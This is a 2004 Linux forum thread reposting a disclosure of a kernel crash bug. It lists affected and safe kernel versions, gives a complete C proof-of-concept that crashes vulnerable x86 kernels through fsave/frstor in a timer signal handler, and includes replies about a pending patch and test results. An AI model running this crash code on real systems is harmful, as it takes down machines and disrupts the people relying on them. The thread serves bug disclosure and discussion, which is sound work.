View previous topic :: View next topic |
Author |
Message |
RedDawn Guru
Joined: 22 Sep 2003 Posts: 368 Location: Los Angeles, California
|
Posted: Mon Jun 14, 2004 4:37 pm Post subject: Linux Kernel Crash!! |
|
|
Running This C Program Crashes The Linux Kernel!!!
This bug is confirmed to be present when the code is compiled with GCC version 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel versions 2.4.2x and 2.6.x x86 systems.
The Crashing Kernels
Minor numbers are versions verified, this is just the top the iceberg:
* Linux 2.6.x
o 2.6.7-rc2
o 2.6.6 (vanilla)
o 2.6.6-rc1 SMP (varified by blaise)
o 2.6.6 SMP (verified by riven)
o 2.6.5-gentoo (verified by RatiX)
o 2.6.5-mm6 - (verified by Mariux)
o 2.6.5 (fedora core 2 vanilla)
* Linux 2.4.2x
o 2.4.26 vanilla
o 2.4.26, grsecurity 2.0 config
o 2.4.26-rc1 vanilla
o 2.4.26-gentoo-r1
o 2.4.22
o 2.4.22-1.2188 Fedora FC1 Kernel
o 2.4.18-bf2.4 (debian woody vanilla)
The safe kernels
This code does nothing but exit with the error message Floating point exception and can not do any damage to systems running
* Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
* Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille
* Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
* Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
* 2.2.19-kernel
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);
return 0;
}
All Found Here:
http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html#toc1 |
|
Back to top |
|
|
gen2fox Guru
Joined: 25 May 2004 Posts: 544
|
Posted: Mon Jun 14, 2004 4:39 pm Post subject: |
|
|
Covered here. |
|
Back to top |
|
|
sdaffis Tux's lil' helper
Joined: 16 Nov 2003 Posts: 100 Location: Umeå, Sweden
|
Posted: Mon Jun 14, 2004 6:08 pm Post subject: |
|
|
Hopefully the patch will make it into final 2.6.7.. Or else! _________________ Believe the lie |
|
Back to top |
|
|
Pythagoras1 Guru
Joined: 29 Jul 2002 Posts: 352 Location: Burgas, Bulgaria
|
Posted: Tue Jun 15, 2004 11:45 am Post subject: |
|
|
hmm... if i try this exploit on x86_64 linux 2.6.7-rc3 i get alot of dots and stars and the cpu usage increases to 100%. this looks like this:
Code: | ..........*..............*.*............................................*.............................*................*............. |
until i break it using ctrl-c. i thought 2.6.7-rc3 is safe? |
|
Back to top |
|
|
tomk Bodhisattva
Joined: 23 Sep 2003 Posts: 7221 Location: Sat in front of my computer
|
|
Back to top |
|
|
|